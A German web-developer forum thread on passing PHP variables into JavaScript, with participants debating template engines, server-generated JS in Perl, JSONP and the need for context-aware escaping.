                  Nein nein nein, das ist ein Irrweg. Bei <script src="?js=ext"></script> war ich noch mit einem „wenn's denn sein muss“ dabei, aber deine %url% Variable enthält vermutlich auch die Query-Parameter der URL - und dann fällst Du rein bzw. musst aufpassen, ob Du ?js=ext oder &js=ext anfügst. Sag nicht, %url% enthält die Queryparameter grundsätzlich nicht; das ist genauso kritisch, weil die Queryparameter oft genug entscheidende Kontextinformationen liefern, die den dargestellten Seiteninhalt und damit auch die Anforderungen an generiertes JS beeinflussen.

                  Ich werde die Disku hier für mich abbrechen; sicherlich kann man deinen Weg gehen und Du wirst damit auch ans Ziel kommen, aber die Komplexität und Fehleranfälligkeit ist viel höher als wenn man statisches JS lädt und benötigte Daten per Mini-Script aus dem HTML injiziert. Das DASS der Fall ist, hast Du hinreichend in der Diskussion belegt.

                  Rolf

                  --
                  sumpsi - posui - clusi
                  1. hi

                    was für ein Roman. Sorry, das wird mir zu anstrengend. Aber ein paar Anmerkungen kann ich mir nicht verkneifen:

                    D.h., im Effekt ist es es gar keine Variable weil, bis auf wenige Ausnahmen, sämtliche AJAX//Fetch Requests die eine Seite feuern soll, stets auf sich selbst gerichtet sind.

                    Stets ist hier ein großes Wort, denn so kann man es machen, muss man aber nicht.

                    Beim MVC muss man es so machen. Sonst ist das kein MVC.

                    Man kann die Ajax-Services, die eine Seite braucht, in ihr implementieren und per URL-Parameter sozusagen abrufen, welche Funktionsvariante man von der Seite haben will. Dein Framework routet das vermutlich transparent.

                    Mein FW unterscheidet zwischen statischen und dynamischen Routen.

                    Mitnichten sieht da ein JS jederzeit anders aus, vielmehr sieht es immer genauso aus wie es für die jeweilige Seite erzeugt wurde

                    Hier steckt dein Fehler: Dur würdest das JS nicht allgemein für eine Seite generieren, sondern für eine Seite, die für bestimmte Seitenparameter abgerufen wurde.

                    Da hast Du was falsch verstanden. Ich bezog mich da nur auf den Platzhalter %url%.

                    Die TE wird also generell geladen, nur der Renderprozess kann abgeschaltet werden wenn er nicht gebraucht wird

                    Ja. Und wenn er nicht gebraucht wird, hast Du statischen Inhalt - oder? Warum dann über Perl/PHP laufen?

                    Der Sinn eines FW: Einheitliche Prozesse. Veränderungen sind einfach realisierbar. Das ist übrigens auch der Sinn von OOP. Stell Dir vor Du brauchst auf der Seite das aktuelle Datum oder einen anderen Platzhalter für dynamische Inhalte: Mit meinem FW ist das in unter 5 Min eingebaut einschließlich der Anpassung von Last-Modified/Expires.

                    Und außerdem: Access Control!!! Und damit meine ich nicht Authorization Basic!

                    Und jetzt stell Dir mal vor, der URL für eine Seite wäre zu ändern. Das würde unweigerlich eine Änderung sämtlicher JS Dateien nach sich ziehen in denen der URL fest codiert ist!

                    Auf die Idee, eine URL in JS fix zu codieren, käme ich nicht. Das wäre ein Fall für Dateninjektion über ein Script-Tag in der HTML-Seite, die das JS einbindet.

                    Ich rede von JS was in der Seite selbst notiert ist.

                    Dann kann man auch mit <script src="%url%?js=ext"></script> ganze Code-Teile für JS dynamisch erzeugen

                    Nein nein nein, das ist ein Irrweg.

                    Wieso? Das ist eine ideale Möglichkeit, JS Dateien serverseitig zu bündeln und clientseitig einzubinden. Gerade wenn eine Anwendung Domainübergreifend aufgestellt werden soll. Tags: JSONP, CORS

                    Bei <script src="?js=ext"></script> war ich noch mit einem „wenn's denn sein muss“ dabei, aber deine %url% Variable enthält vermutlich auch die Query-Parameter der URL -

                    Nein. %url% ist Nur die statische Route.

                    und dann fällst Du rein bzw. musst aufpassen, ob Du ?js=ext oder &js=ext anfügst. Sag nicht, %url% enthält die Queryparameter grundsätzlich nicht; das ist genauso kritisch, weil die Queryparameter oft genug entscheidende Kontextinformationen liefern, die den dargestellten Seiteninhalt und damit auch die Anforderungen an generiertes JS beeinflussen.

                    Sämtliche Parameter, also nicht nur QS, rufen in meinem MVC den Controller auf den Plan und der weiß dann schon was zu tun ist.

                    Im Übrigen reden wir hier, in Sachen Scripteinbindung, die ganze Zeit über JSONP.

                    Ich werde die Disku hier für mich abbrechen

                    Sicher doch. Du hast sie ja auch angefangen. Was JSONP und CORS betrifft, kannst Du Dich ja selbst und außerhalb dieser Diskussion auch anderweitig informieren.

                    MfG

            2. Tach!

              <script>var SID = "%sid%"; </script>
              
              %loop_hrefcss% 
                <link rel="stylesheet" href="%hrefcss%" type="text/css">
              %endloop%
              
              <title> %title% </title>
              

              Das sieht mir so aus, als ob dieses Beispiel vereinfacht ist und deshalb kein kontextgerechtes Behandeln zu sehen ist, oder dass die Template-Engine das Escaping gar nicht vornimmt und man es außerhalb vornehmen muss. Letzteres wäre deshalb ungünstig, weil man dann selbständig beide Stellen synchronisiert beachten muss, statt dass man einfach im Template sieht, dass das passende Escaping verwendet wurde und alles ok ist. Passendes Escaping ist ja gerade in diesem Beispiel auch unterschiedlich für in Javascript und in HTML einzufügende Werte.

              dedlfix.

              1. hallo

                Tach!

                <script>var SID = "%sid%"; </script>
                
                %loop_hrefcss% 
                  <link rel="stylesheet" href="%hrefcss%" type="text/css">
                %endloop%
                
                <title> %title% </title>
                

                Das sieht mir so aus, als ob dieses Beispiel vereinfacht ist und deshalb kein kontextgerechtes Behandeln zu sehen ist,

                Das muss auch so aussehen, weil ja hier ja nur eine Seite von replace-data demonstriert wurde.

                Eine template engine ist ein sehr flexibles Modul/Klasse, dem data übergeben wird. Zu solchen gehören:

                • Usersprache (zur Benutzung mehrsprachig definierter Standardlabels)
                • Codesprache (welche Syntax, wird verwendet)
                • Vorlagenadresse (was für ein Baustein sollen erzeugt werden)
                • Textdata, inklusive Flags (welche Daten müssen eingesetzt werden, Flags für z.B. Ausnahmen in Kontextbehandlung, ).
                • Codebeautify (falls erwünscht).

                Damit man von einer Engine sprechen kann, müssen die Komponenten folgendes aufweisen:

                • einheitliche API
                • einheitliche Schlüsselform mit Garantie, dass keine Störungen erscheinen.
                • die Bausteine werden separat von der Engine verwaltet.
                • Dokumentation.

                Und nun der Wehrmutstropfen. in der Verwendung wiederholen sich Dinge weniger oft, so dass template Engines nur für grosse Sites den Aufwand wert sind.

                Liegt in der Engine ein Designfehler vor, der alle templates betrifft, hat man sich selber zum Narren gemacht.

                --
                Neu im Forum! Signaturen kann man ausblenden!
                1. hi,

                  Und nun der Wehrmutstropfen. in der Verwendung wiederholen sich Dinge weniger oft, so dass template Engines nur für grosse Sites den Aufwand wert sind.

                  Nein. Vielmehr lohnt sich eine TE grundsätzlich und ist für ein Framework was Platzhalter in jeder Seite ermöglicht, obligatorisch.

                  Darüber hinaus gibt es ungezählte weitere Aufgaben die man mit einer TE, weil sie ja ohnehin geladen wurde, so ganz nebenbei erledigen kann, z.B. die Erzeugung von XML oder CSV Dateien und auch die robots.txt. Und sei es nur, die TE dazu zu verwenden, den Code besser lesbar zu machen, bspw. als besserer Ersatz für sprintf() und überhaupt für jede Art von Stringverkettung.

                  Zum Erzeugen von MIME Mails verwende ich übrigens auch eine TE. Infolgedessen dass die TE Loops kann, ist die Erzeugung von Mails mit mehreren Dateianlagen recht einfach und vor allem mit lesbarem Code möglich.

                  MfG

                  1. hallo

                    Nein. Vielmehr lohnt sich eine TE grundsätzlich und ist für ein Framework was Platzhalter in jeder Seite ermöglicht, obligatorisch.

                    Da liegt ein Kategorenirrtum vor. Eine Seite ist das, was beim User ankommt.

                    Darüber hinaus gibt es ungezählte weitere Aufgaben die man mit einer TE, weil sie ja ohnehin geladen wurde, so ganz nebenbei erledigen kann, z.B. die Erzeugung von XML oder CSV Dateien und auch die robots.txt.

                    Zeig doch mal, wie deine Engine dein in einem früheren Posting dargestelltes Template + Data verarbeitet. Dann reden wir weiter.

                    --
                    Neu im Forum! Signaturen kann man ausblenden!
                    1. Zeig doch mal, wie deine Engine dein in einem früheren Posting dargestelltes Template + Data verarbeitet.

                      Ganz einfach: $out = $self->render($template, $platzhalter);

                      Und als sprintf() Ersatz, Stingverkettung Beispiel:

                      my $m = bless{};
                      
                      print $m->render(q(
                          %anr% %name%, %vname%, geb. im Jahr %jahr%
                          hat folgende Gegenstände in seinem Besitz: 
                          %loop_things%
                              %anz% %thing%%endloop%    
                      ), {
                          jahr => 1947,
                          anr => 'Herr',
                          vname => 'Hans',
                          name => 'Wurst',
                          things => [
                              {thing => 'Stühle', anz => 3},    
                              {thing => 'Tisch', anz => 1},
                              {thing => 'Schränke', anz => 2}
                          ]
                      });
                      

                      Dann reden wir weiter.

                      Nach dem Rendern:

                          Herr Wurst, Hans, geb. im Jahr 1947
                          hat folgende Gegenstände in seinem Besitz: 
                          
                              3 Stühle 
                              1 Tisch 
                              2 Schränke    
                      

                      MfG

                      PS: Poste mal die dem entsprechende Stringverkettung in PHP 😉

                      1. hallo

                        Zeig doch mal, wie deine Engine dein in einem früheren Posting dargestelltes Template + Data verarbeitet.

                        Ganz einfach: $out = $self->render($template, $platzhalter);

                        Dann reden wir weiter.

                        Ich habe zudem nach dem WIE gefragt, nicht nach dem DASS.

                        Es würde besonders ein Beispiel interessieren, das html erzeugt.

                        PS: Poste mal die dem entsprechende Stringverkettung in PHP 😉

                        Wieder ein Kategorienfehler, ein zweifacher sogar. Denn hier gehts nicht um perl versus php. ausserdem kennt auch php sprintf().

                        --
                        Neu im Forum! Signaturen kann man ausblenden!
                        1. Es würde besonders ein Beispiel interessieren, das html erzeugt.

                          Das sieht genauso aus wie das Textbeispiel. HTML ist auch nur Text, nur daß da HTML Elements runstrum sind:

                          <ul>
                             %loop_items%
                               <li> %item%, %descr%, %author% </li>
                             %endloop%
                          </ul>
                          

                          Tabellen analog. Und neben literalen Platzhaltern und Loops sollte jede TE auch boolsche Ausdrücke kennen, z.B.

                          %if_browse%
                            <p> Ein bischen aufbrowsender Text.. </p>
                          %else%
                            <p> Hier gibt es keine Browse! </p>
                          %endif%
                          

                          Und selbstverständlich dürfen boolsche Platzhalter auch in Loops Verwendung finden. Wie auch dazu dienen, bestimmte Bereiche in einem Template vorzuhalten. Es ist jedoch zweckmäßig, eine ganze Response vom typ text/html in mehrere Templates aufzuteilen. Z.B. head, body, footer. Aber das kann letztlich jeder machen wie er es für richtig hält.

                          printf(), sprintf() sind ja im Grunde auch TE's. Nur daß sie halt nicht so komfortabel sind. Perl ermöglicht darüber hinaus per DATA Token eine saubere Trennung von Code und Template wobei beides zusammen in einer Datei vereint ist.

                          In Methoden die in eine dedizierte Datei ausgelagert wurden, steht der DATA Token ebenfals zur Verfügung.

                          Untenstehend noch das Beispiel zum konkreten Fall:

                          sub control{
                             my $self = shift;
                             if( $self->param('js') ){
                                local $/ = undef;
                                my $tt = <DATA>;
                                $self->{CONTENT} = $self->render($tt, { 
                                   localtime => localtime(), 
                                   remote_addr => $ENV{REMOTE_ADDR} 
                                }); 
                                $self->header(
                                   'Content-Type' => 'text/javascript',
                                   'Last-Modified' => ..,
                                   'Expires'      => ..
                                );
                             }
                          }
                          
                          __DATA__
                          /* JavaScript zum Nachladen */
                          var localtime   = '%localtime%';
                          var remote_addr = '%remote_addr%';
                          

                          Per <script src="%url%?js=1"></script> wird das dann eingebunden womit für JS im Browser serverseitige Variablen verfügbar gemacht werden können.

                          MfG

                          1. Zeig mir, WIE das ...

                                <ul> 
                                  %loop_items%
                                    <li> %item%, %descr%, %author% </li>
                                  %endloop%
                                </ul>
                            

                            ... hier ...

                              my $tt = <DATA>;
                              $self->{CONTENT} = $self->render($tt, { 
                                 localtime => localtime(), 
                                 remote_addr => $ENV{REMOTE_ADDR} 
                              }); 
                            

                            ... verarbeitet wird.

                            --
                            Neu im Forum! Signaturen kann man ausblenden!
                            1. Du könntest Dir HTML::Template anschauen damit Du mal siehst wie ein relativ einfaches Templatesystem in Perl programmiert ist. MfG

        2. Hi there,

          Oder anders ausgedrückt: Erzeuge die ganze Seite samt JS mit PHP.

          Und wozu?

          Weil ich das aufgrund meiner Erfahrung so empfehle und weil es einfach zweckmäßiger ist eine richtige Templating~Engine zu verwenden anstatt PHP in HTML einzubetten.

          Der OP wollte aber lediglich einen PHP-Wert in eine JS-Variable bringen. Deine "Empfehlung" schießt mit Marschflugkörpern auf Mücken…

          1. Der OP wollte aber lediglich einen PHP-Wert in eine JS-Variable bringen. Deine "Empfehlung" schießt mit Marschflugkörpern auf Mücken…

            Das ist das Mindeste was ein Framework können muss: Platzhalter ermöglichen und damit ist das Ganze sozusagen trivial. MfG

  4. Hallo

    Ich habe ein PHP Script, in dieser habe ich eine Variable mit einem Integer Wert.

    $nummer

    Später wird auf der Seite noch eine javascript Datei aufgerufen.

    In dieser wird eine URL aufgerufen

    url: 'datei.php?id=100'

    statt der 100 möchte ich die Variable

    $nummer

    einsetzen.

    Wie kann ich also meine PHP Variable in eine Javascript Datei übernehmen?

    Als erstes: PHP läuft auf dem Webserver und liefert ein HTML-Dokument, eventuell nebst Zubehör, aus. Damit ist die Arbeit von PHP getan. JavaScript läuft hingegen im und innerhalb des Browser [1] und manipuliert das im Browser geladene Dokument. In diesem Szenario weiß PHP nichts von JavaScript und JavaScript nichts von PHP.

    Du kannst aber mit PHP auch als Zubehör eines HTML-Dokument JavaScript-Code als Zeichenketten erzeugen und ausliefern. Dann bekommt dein JavaScript-Code etwas für ihn passendes serviert.

    • Du kannst mit PHP einen <script>-Block mit JS-Code in das HTML-Dokument einbauen.
    • Du kannst mit PHP on the fly eine JavaScript-Datei erzeugen, die im HTML-Dokument verlinkt ist oder mit PHP verlinkt wird.

    Wenn es dir um einen oder einige wenige Werte geht, ist Variante 1 wohl die einfacher umzusetzende.

    Tschö, Auge

    --
    Eine Kerze stand [auf dem Abort] bereit, und der Almanach des vergangenen Jahres hing an einer Schnur. Die Herausgeber kannten ihre Leser und druckten den Almanach auf weiches, dünnes Papier.
    Kleine freie Männer von Terry Pratchett

    1. Man kann mittlerweile JavaScript auf dem Webserver ausführen, aber das spielt im hiesigen Kontext keine Rolle. ↩︎

  5. Hi there,

    In dieser wird eine URL aufgerufen

    url: 'datei.php?id=100'

    statt der 100 möchte ich die Variable

    $nummer

    einsetzen.

    Wie kann ich also meine PHP Variable in eine Javascript Datei übernehmen?

    Auch wenn ich jetzt wieder für Schlichtheit und php-Shorttags geprügelt werde (aber jeder machts so)

    <script> url: 'datei.php?id=<?echo $nummer;?>'; </script>

    1. hallo

      Auch wenn ich jetzt wieder für Schlichtheit und php-Shorttags geprügelt werde (aber jeder machts so)

      <script> url: 'datei.php?id=<?echo $nummer;?>'; </script>

      wird zu

      url: 'datei.php?id=100';
      

      Welche Domina darf's denn heute sein?

      --
      Neu im Forum! Signaturen kann man ausblenden!
    2. Auch wenn ich jetzt wieder für Schlichtheit und php-Shorttags geprügelt werde (aber jeder machts so)

      Prügeln nicht aber eine Empfehlung nach dem Motto aber jeder machts so ist so ziemlich dämlich. Woher willst Du denn das wissen was jeder macht!?

      .

    3. Tach!

      In dieser wird eine URL aufgerufen

      url: 'datei.php?id=100'

      statt der 100 möchte ich die Variable

      $nummer

      einsetzen.

      Wie kann ich also meine PHP Variable in eine Javascript Datei übernehmen?

      Auch wenn ich jetzt wieder für Schlichtheit und php-Shorttags geprügelt werde (aber jeder machts so)

      Nö, deswegen nicht, aber wenn du magst, dann wegen sinnloser Syntax.

      <script> url: 'datei.php?id=<?echo $nummer;?>'; </script>

      Das ist eine Sprungmarke und ein String, aber keine Variablenzuweisung. Im Original wird das wohl Teil eines Objektliterals sein, aber Teile von Objektliteralen kann man auch nicht alleinstehend in <script></script> einbetten.

      Zudem ging es darum, dass diese Variable in einer Javascript-Datei benötigt wird. Das heißt, PHP schreibt diese Datei nicht, sondern höchstens diejenige, in der der Verweis auf diese Datei steht. Deswegen wird es auch nicht gehen, dass PHP den Wert direkt am Ort der Verwendung einfügt. Also, theoretisch geht das schon, umständlich über Ablegen in einer Session und die Javascript-Ressource auch über PHP laufen lassen, aber praktisch gibt das mehr Probleme als es nutzt, beispielsweise beim Cachen. Dann schon lieber die Methode, eine zusätzliche Variable in einem script-Teil des mit PHP erzeugten HTML-Dokuments zu definieren, auf die dann in der Javascript-Datei zugegriffen wird.

      dedlfix.

  6. problematische Seite

    Hi,

    Hab eine Demoseite gemacht, extra für Euch:

    Über Platzhalter im HTML Template lassen sich natürlich nicht nur Literale dynamisch einbauen die nur für das DOM bestimmt sind sondern auch Variablen für JavaScript. Konkret werden auf dieser Demoseite zwei Variablen serverseitig erfasst und zusammen mit der Response ausgeliefert, wobei diese Variablen über entsprechende Platzhalter so in die Seite eingebaut sind, daß sie für JavaScript auch als Variablen zur Verfügung stehen.

    Aus der Sicht der Templating Engine sind Platzhalter in einem Template nur Literale die beim Rendern des Templates gegen ihren dazugehörigen Wert ausgetauscht werden. So können Literale neben einfachen Scalaren (Stringvariablen) auch kompexe Daten-Strukturen beinhalten. Dafür wurde für diese Demoseite die Serverumgebung ausgewählt welche ein assoziatives Array mit Schlüssel-Werte-Paaren darstellt.

    Viel Spaß damit!

    1. problematische Seite

      Eine kleine Entschuldigung meinerseits:

      So wie es sich jetzt mir darstellt, sind TE's wohl doch noch nicht so verbreitet. Das war mir bei der ganzen Diskussion nicht so bewusst. Umso mehr sollte das jedoch eine Anregung für alle sein, über den Einsatz einer TE nachzudenken denn das lohnt sich!

      Und eine kleine Ergänzung:

      Auf der Demoseite habe ich nun auch den serverseitigen Code hinzugefügt. Es sind nur ein paar Zeilen und für diejenigen die wissen möchten, wo dieser Code notiert ist:

      In einem sogenannten Trait. Das ist auch in Perl nichts weiter als eine Datei welche als interface zur Demoseite hinzukonfiguriert wird:

      <!-- title=JavaScript Variablen über HTML Template laden -->
      <!-- descr=Neben Scalaren lassen sich auch komplexe Datenstrukturen als JSON einbinden -->
      <!-- parent=/demo -->
      <!-- no_cache=1 -->
      <!-- interface=umgebung -->
      

      Interface deswegen weil meine Traits nur Methoden fürs Interface bereitstellen.

      Schöne Grüße!